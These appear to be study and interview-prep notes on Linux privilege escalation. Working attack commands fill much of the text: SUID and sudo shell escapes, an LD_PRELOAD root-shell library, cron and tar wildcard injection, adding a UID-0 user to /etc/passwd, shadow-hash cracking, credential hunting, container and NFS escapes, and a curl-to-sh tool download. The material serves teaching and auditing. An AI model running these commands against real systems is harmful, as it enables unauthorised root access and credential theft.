Security Notes
Linux

Linux Privilege Escalation

16 min read 14 sections 9 model answers

Breadth layernotes-security-core-knowledge.md Also see: Linux Exploits & Mythos · Linux Hardening


Methodology

1. Who am I?          id, whoami, groups
2. What's the OS?     uname -a, cat /etc/os-release
3. What can I run?    sudo -l
4. SUID binaries?     find / -perm -4000 2>/dev/null
5. Interesting files? world-writable dirs, cron jobs, config files with creds
6. Capabilities?      getcap -r / 2>/dev/null
7. Services?          ps aux, ss -tlnp, check /etc/init.d and systemd units
8. Network?           hostname, /etc/hosts, ip route
9. Kernel version?    uname -r → check against known exploits

Tools

LinPEAS

automated; outputs colour-coded findings; run first for speed

LinEnum

simpler script; good for understanding what's being checked

GTFOBins

(gtfobins.github.io) — lookup any binary to find privesc/escape techniques


Information Gathering

bash
# Current user context
id                        # uid, gid, groups
sudo -l                   # what sudo rights do I have?
cat /etc/passwd           # all users (look for uid=0 entries besides root)
cat /etc/group            # group memberships

# OS and kernel
uname -a                  # kernel version
cat /etc/os-release
cat /proc/version

# Network
hostname -I
ip route
ss -tlnp                  # listening TCP ports
cat /etc/hosts

# Processes running as root
ps aux | grep "^root"

# Scheduled jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
systemctl list-timers

# Installed software versions
dpkg -l                   # Debian
rpm -qa                   # RHEL
pip list                  # Python packages

SUID / SGID Binaries

SUID (Set User ID) — binary executes as the owner (often root) regardless of who runs it.

Memory hook

SUID = "run as the owner, not as you." Normally a program runs with your privileges. The SUID bit (the s in -rwsr-xr-x) flips that: it runs as the file's owner, usually root. That's legitimately needed for tools like passwd (which must edit root-owned /etc/shadow), but it means any SUID-root binary that can be tricked into running your command gives you root. That's the entire premise of GTFOBins — a catalog of "if this ordinary binary is SUID/sudo, here's the one-liner to pop a root shell." The defender's takeaway: audit your SUID inventory (find / -perm -4000) — every entry is a potential root path, so the list should be short and boring.

bash
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Common exploitable SUID binaries (GTFOBins)
/usr/bin/find
/usr/bin/vim
/usr/bin/nmap
/usr/bin/python
/usr/bin/awk
/usr/bin/less
/usr/bin/man
/usr/bin/cp
/usr/bin/mv

Exploitation examples

bash
# find with SUID
/usr/bin/find . -exec /bin/sh -p \; -quit
# -p: don't drop privileges; shell inherits SUID root

# vim with SUID
vim -c ':!/bin/sh'

# python with SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# nmap with SUID (older versions with --interactive)
nmap --interactive
!sh

# cp with SUID — overwrite /etc/passwd
echo 'root2::0:0:root:/root:/bin/bash' >> /tmp/passwd
/usr/bin/cp /tmp/passwd /etc/passwd
su root2   # no password needed (empty)

Sudo Misconfigurations

bash
sudo -l
# Key patterns to look for:
# (ALL) NOPASSWD: /usr/bin/vim       → run vim as root, get shell
# (ALL) NOPASSWD: ALL                → full root access
# (root) NOPASSWD: /usr/bin/python3  → run python as root
# (ALL : ALL) ALL                    → run anything as anyone

GTFOBins sudo escalation examples

bash
# sudo vim
sudo vim -c ':!/bin/bash'

# sudo python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'

# sudo less / man (invokes pager, then shell)
sudo less /etc/passwd
!/bin/bash

# sudo find
sudo find / -exec /bin/bash \; -quit

# sudo bash / sh (trivial)
sudo bash

# sudo env (execute with modified environment)
sudo env /bin/bash

# sudo tee (write files as root — overwrite /etc/sudoers, crontab, etc.)
echo "attacker ALL=(ALL) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/attacker

# sudo systemctl (create and start a service)
# create /tmp/evil.service, then:
sudo systemctl link /tmp/evil.service
sudo systemctl start evil.service

LD_PRELOAD + sudo (if env_keep+=LD_PRELOAD in sudoers):

c
// evil.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
bash
gcc -fPIC -shared -o /tmp/evil.so evil.c -nostartfiles
sudo LD_PRELOAD=/tmp/evil.so find  # any allowed sudo command

Cron Jobs

Cron jobs running as root that reference writable files or paths are a classic privesc vector.

bash
# View all cron jobs
crontab -l                   # current user
sudo crontab -l              # root's crontab (if you can sudo -l to run sudo)
cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/*

# Watch for jobs being run
pspy64   # monitors process creation without root; catches cron execution

Attack patterns

  1. Writable script called by cron

    bash
    cat /etc/crontab
    # * * * * * root /opt/scripts/backup.sh
    ls -la /opt/scripts/backup.sh   # writable by current user?
    echo 'chmod +s /bin/bash' >> /opt/scripts/backup.sh
    # Wait for cron to run → /bin/bash is now SUID root
    /bin/bash -p   # -p: preserve privileges
  2. Writable directory in PATH before cron's script:

    bash
    # /etc/crontab contains PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
    # Cron job: * * * * * root cleanup
    # If /usr/local/bin is writable:
    echo '#!/bin/bash\nchmod +s /bin/bash' > /usr/local/bin/cleanup
    chmod +x /usr/local/bin/cleanup
  3. Wildcard injection with tar/rsync

    bash
    # Cron: * * * * * root cd /backups && tar czf backup.tar.gz *
    # Create files with names that are tar flags:
    echo "" > /backups/--checkpoint=1
    echo "" > '/backups/--checkpoint-action=exec=sh shell.sh'
    echo '#!/bin/bash\nchmod +s /bin/bash' > /backups/shell.sh
    # tar will interpret filenames as command-line options

Writable Files and Paths

bash
# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys

# World-writable directories (better — can drop new files)
find / -writable -type d 2>/dev/null | grep -v proc

# Files owned by current user with interesting names
find / -user $(whoami) 2>/dev/null | grep -v proc

# .service files writable (can modify commands run by systemd)
find / -name "*.service" -writable 2>/dev/null

# Interesting writable files
/etc/passwd            # if writable, add a root user with no password
/etc/crontab           # add cron job as root
/etc/sudoers           # add sudo rule for yourself
/root/.ssh/authorized_keys  # add your public key if /root/.ssh is writable
~/.bashrc / ~/.bash_profile  # if you can write to root's shell config

Overwrite /etc/passwd if writable

bash
# Generate password hash
openssl passwd -1 -salt salt evil_password
# $1$salt$hash

# Append root-equivalent user
echo 'attacker:$1$salt$hash:0:0:Attacker:/root:/bin/bash' >> /etc/passwd
su attacker  # enter: evil_password → root shell
📖

Clarification — passwd vs shadow, and what an attacker does with each. These two files are the heart of Linux local auth, and the distinction is the whole game.

/etc/passwd is world-readable (anyone can cat it). Each line is name:x:UID:GID:comment:home:shell. The x means "the real hash is over in /etc/shadow." The field that matters most is the UID: the kernel decides "are you root?" purely by UID == 0 — not by the name. So an account literally called attacker with UID 0 is root. That's why a writable /etc/passwd is instant game over: append a UID-0 line and you've minted a root login. (Historic trick: leave the password field empty — attacker::0:0:... — and the account has no password; modern logins often refuse empty passwords, hence the hash above.)

/etc/shadow is root-only (mode 640, group shadow) and holds the actual hashes: name:$id$salt$hash:lastchanged:.... The $id$ prefix names the algorithm — $1$=MD5 (ancient, cracks instantly), $5$=SHA-256, $6$=SHA-512 (long the common default), $y$=yescrypt (the modern default on newer distros).

So what can you do once you can READ /etc/shadow? The hashes are one-way, so you don't get passwords directly — but you can crack them offline, on your own GPU rig, with no rate limit and no account lockout (the things that stop online guessing simply don't exist offline). Weak or reused passwords fall in seconds; a strong yescrypt password may never fall. The payoff: cracking is invisible to the victim and recovers the plaintext, which often unlocks other systems via password reuse and survives the victim rotating the hash. Standard workflow:

bash
unshadow /etc/passwd /etc/shadow > hashes.txt    # John tool: merges the two files into one crackable file
john --wordlist=rockyou.txt hashes.txt           # or: hashcat -m 1800 hashes.txt rockyou.txt   (1800 = sha512crypt $6$)
john --show hashes.txt                            # print the cracked plaintext passwords

Any read counts — a misconfigured cap_dac_read_search binary (see the tar trick below), a stray /etc/shadow.bak, a container that bind-mounts host /etc, or an old backup. And if you can WRITE shadow/passwd, skip cracking entirely: overwrite root's hash with one you know. Read = crack offline; write = instant root.


Linux Capabilities

Capabilities split root privileges into discrete units. A binary with a dangerous capability can escalate privileges without being SUID.

Memory hook

capabilities = root, sliced into ~40 pieces. Historically a process was either root (can do everything) or not. Capabilities break "everything" into discrete powers — bind low ports (CAP_NET_BIND_SERVICE), sniff packets (CAP_NET_RAW), become any user (CAP_SETUID), bypass file permissions (CAP_DAC_OVERRIDE). The intent is least privilege: give a web server just CAP_NET_BIND_SERVICE instead of full root. The trap: some single capabilities are effectively root anyway — CAP_SYS_ADMIN ("the new root"), CAP_SETUID, CAP_SYS_PTRACE, CAP_DAC_OVERRIDE. So when auditing, a capability isn't automatically "safe because it's not full root" — several of them are a one-line path to root. Find them with getcap -r /.

bash
# Find binaries with capabilities set
getcap -r / 2>/dev/null

Dangerous capabilities

CapabilityDanger
cap_setuid+epCan call setuid(0) → become root
cap_net_raw+epRaw packet access → sniff network
cap_sys_admin+epVery broad; can mount filesystems, load kernel modules
cap_sys_ptrace+epTrace other processes → read memory, inject code
cap_dac_override+epBypass file read/write/exec permissions
cap_chown+epChange file ownership

Exploitation examples

bash
# python3 with cap_setuid
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

# perl with cap_setuid
perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash"'

# vim with cap_setuid (rare but seen)
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash")'

# tar with cap_dac_read_search — read any file
tar -cvf /tmp/shadow.tar /etc/shadow   # cap_dac_read_search = "bypass read permission checks", so tar
cat /tmp/shadow.tar | strings | grep -A1 root   # can slurp root-only /etc/shadow → then crack offline (box above)
Memory hook

Why cap_dac_read_search is dangerous even though it's "only read." It bypasses every file-read permission check on the system. You can't write anything — but you can read every secret on the box: /etc/shadow, root's SSH private keys, TLS keys, /proc/<pid>/environ of other processes (often holding DB passwords and API tokens). Read access to the right secret is the privilege escalation — you don't need write.


Weak Service Configurations

bash
# Find services running as root
ps aux | grep "^root"
systemctl list-units --type=service --state=running

# Check permissions on service binaries
ls -la /usr/bin/servicename
ls -la /opt/custom_service/

# Check unit file content
systemctl cat servicename | grep ExecStart

# Can you restart the service?
systemctl restart servicename   # or check if it auto-restarts

Attack: writable service binary or config

bash
# If the binary is writable:
cp /bin/bash /opt/service/servicebinary
chmod +s /opt/service/servicebinary

# If the service config is writable:
# Modify ExecStart to point to a malicious binary, then restart

Attack: weak file permissions on socket or PID file


Credential Hunting

bash
# Config files with passwords
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /var/www/html/ 2>/dev/null
grep -r "DB_PASS\|DB_PASSWORD\|database_password" /var/www/ 2>/dev/null

# SSH private keys
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null
cat ~/.ssh/id_rsa

# History files (commands with passwords typed in-line)
cat ~/.bash_history
cat ~/.zsh_history
cat /root/.bash_history  # if readable

# .env files
find / -name ".env" -type f 2>/dev/null | xargs cat 2>/dev/null

# Web application configs
find / -name "wp-config.php" -o -name "config.php" -o -name "database.yml" 2>/dev/null | xargs cat 2>/dev/null

# Saved browser credentials
find / -name "Login Data" 2>/dev/null  # Chrome credentials DB

Kernel Exploits

Use as a last resort — high risk of crashing the system.

bash
# Check kernel version
uname -r
cat /etc/os-release

# Search for exploits
searchsploit linux kernel 4.4   # searchsploit from exploitdb

Notable kernel exploits

CVENameAffectedDescription
CVE-2016-5195Dirty COWLinux < 4.8.3Race condition in copy-on-write; write to read-only mappings
CVE-2021-4034PwnKitpolkit < 0.120Memory corruption in pkexec; local root on all major distros
CVE-2022-0847Dirty PipeLinux 5.8–5.16Overwrite read-only files via pipe splicing
CVE-2021-3156Baron Sameditsudo < 1.9.5p2Heap overflow in sudo; local root without being in sudoers
bash
# Check if vulnerable to PwnKit
dpkg -l policykit-1   # check version
# Exploit: download poc, compile, run ./pwnkit

# Dirty Pipe check
uname -r  # 5.8 to 5.16.11, 5.15.25, 5.10.102

Container Escapes

If you're inside a container, these paths may lead to the host.

Memory hook

the container shares the host's kernel, so "escape" = reach the kernel or a host resource. A container isn't a VM; it's just an isolated process on the host kernel. So escapes come from anything that punches through that thin isolation: a --privileged container (capabilities + device access ≈ root on host), a mounted docker socket (/var/run/docker.sock = "ask the host's Docker daemon to run a container mounting /"), a hostPath mount of /, or a kernel exploit (one kernel, shared by all). Mnemonic: privileged, socket, hostPath, kernel — the four doors out of a container. The defensive flip side is the Linux production primer's rules: non-root, drop caps, no privileged, no socket mount.

bash
# Am I in a container?
cat /proc/1/cgroup | grep docker
ls /.dockerenv
cat /proc/self/status | grep CapEff  # high value = privileged container

# Check if privileged
capsh --print | grep Current
# If cap_sys_admin is present → likely privileged container

Privileged container escape

bash
# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host  # or whichever block device is the host root
chroot /mnt/host

# Or: create a cron job on the host filesystem
echo '* * * * * root chmod +s /bin/bash' >> /mnt/host/etc/crontab

Docker socket escape (/var/run/docker.sock):

bash
# If the container has the Docker socket mounted:
ls -la /var/run/docker.sock

# Run a privileged container mounting the host root
docker run -it -v /:/mnt/host ubuntu:latest chroot /mnt/host
# → root on the host

NFS and Shared Filesystems

bash
# Check NFS shares
showmount -e <target>
cat /etc/exports

# If no_root_squash is set, root on a client = root on the share
# Mount and create SUID binary
mount -t nfs target:/share /mnt/nfs
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash
# On target: /share/bash -p → root

Automated Enumeration Tools

bash
# LinPEAS (comprehensive, colour-coded)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or: upload and run
chmod +x linpeas.sh && ./linpeas.sh 2>/dev/null | tee /tmp/linpeas.out

# LinEnum (simpler, educational)
chmod +x LinEnum.sh && ./LinEnum.sh

# pspy (process monitoring without root)
./pspy64  # watch for cron jobs and process creation in real time

# sudo_killer (sudo misconfig finder)
./sudo_killer.sh

Interview Questions and Answers

Q
What is a SUID binary and why is it a privilege escalation risk?
Model answer

A SUID (Set-User-ID) binary runs with the file owner's UID — usually root — regardless of who executes it. Any SUID binary that allows code execution (launching a shell, running an arbitrary command, writing files) can be used to gain root. For example, find . -exec /bin/sh \; -quit as root if find has SUID. GTFOBins catalogs exploitation paths for hundreds of common binaries. Find them with: find / -perm -4000 -type f 2>/dev/null.


Q
How would you check if there are any misconfigured sudo permissions on a system?
Model answer

sudo -l lists the commands the current user may run as another user (root by default). Look for: NOPASSWD (no password required), editors/interpreters (vim, python, less, awk, perl) which allow shell escapes, file copy tools (cp, tee) which can overwrite /etc/sudoers or /etc/passwd, and (ALL) ALL (effectively full root). Also check /etc/sudoers and /etc/sudoers.d/ directly if readable.


Q
Explain a cron-based privilege escalation. What conditions are needed?
Model answer

A cron job owned by root runs a script in a world-writable directory (e.g., /tmp/cleanup.sh). An attacker appends a payload to the script — on the next cron run it executes as root. Alternatively, if a root cron uses tar with a wildcard (tar cf /backup *.log), an attacker creates files named --checkpoint-action=exec=malicious.sh in the directory, exploiting tar's wildcard expansion. Conditions: root-owned cron, writable script/target directory, or wildcard in privileged cron command.


Q
What are Linux capabilities? Give an example of a dangerous one.
Model answer

Capabilities split root's all-or-nothing privilege into granular units that can be granted to individual processes or binaries. CAP_SYS_ADMIN is effectively root — it covers mounts, namespaces, device access, and many other operations. CAP_NET_RAW allows raw socket operations (packet sniffing, ICMP floods). CAP_DAC_OVERRIDE bypasses all file permission checks. CAP_SYS_PTRACE allows ptrace on any process. Find binaries with capabilities: getcap -r / 2>/dev/null. Any interpreter (python3, perl, vim) with a dangerous capability is exploitable via GTFOBins.


Q
What is LinPEAS and what does it look for?
Model answer

LinPEAS (Linux Privilege Escalation Awesome Script) is a shell script that runs automated enumeration as the current unprivileged user. It checks: OS/kernel version against known CVEs, SUID/GUID binaries, sudo rules (sudo -l), writable cron jobs, weak file permissions in root's PATH or LD_LIBRARY_PATH, credentials in bash history and config files, world-writable directories, running services, Docker/container indicators, NFS exports, and active network services. Color-coded output highlights high-severity findings.


Q
You land on a Linux box as a low-privilege user. Walk me through your privilege escalation methodology.
Model answer

(1) uname -a + cat /etc/os-release — kernel and distro version against public CVEs. (2) sudo -l — any NOPASSWD or editor/interpreter in sudoers. (3) find / -perm -4000 2>/dev/null — SUID binaries vs GTFOBins. (4) cat /etc/crontab && ls /etc/cron.* — writable cron scripts. (5) getcap -r / 2>/dev/null — capabilities. (6) Check $PATH for writable directories. (7) Read bash history, config files for credentials. (8) ls -la /var/run/docker.sock — Docker escape. (9) Check NFS: cat /etc/exports.


Q
What is Dirty COW and why was it significant?
Model answer

Dirty COW (CVE-2016-5195) was a race condition in the Linux kernel's copy-on-write memory handling that allowed a local user to write to read-only memory-mapped files — including /etc/passwd. An attacker could overwrite the root entry or add a new root user without any write permission. Significant because: (1) it was present in the kernel for 11 years (since 2005); (2) required no special privileges — any local user on any unpatched Linux system could exploit it; (3) trivially exploitable PoC was available within hours of disclosure.


Q
How does a Docker socket escape work?
Model answer

If a container has access to /var/run/docker.sock, it can use the Docker API to create new containers. The attack: docker run -v /:/mnt --privileged --rm -it alpine chroot /mnt sh — this mounts the host root filesystem into a new container and opens a shell inside it. You are now root on the host. The Docker socket is the highest-privilege asset on a container host after the kernel itself — any process with access to it effectively has root on the host.


Q
What does no_root_squash mean in NFS, and why is it dangerous?
Model answer

By default, NFS squashes root access from clients — a client process running as root (UID 0) is mapped to nobody (UID 65534) on the server. no_root_squash disables this: a root process on the NFS client is trusted as root on the server. Exploitation: mount the NFS share from an attacker-controlled machine as root, copy /bin/bash to the share, chmod +s it to set SUID, then execute it from the server — the SUID bash runs as root on the server. Find with: cat /etc/exports | grep no_root_squash.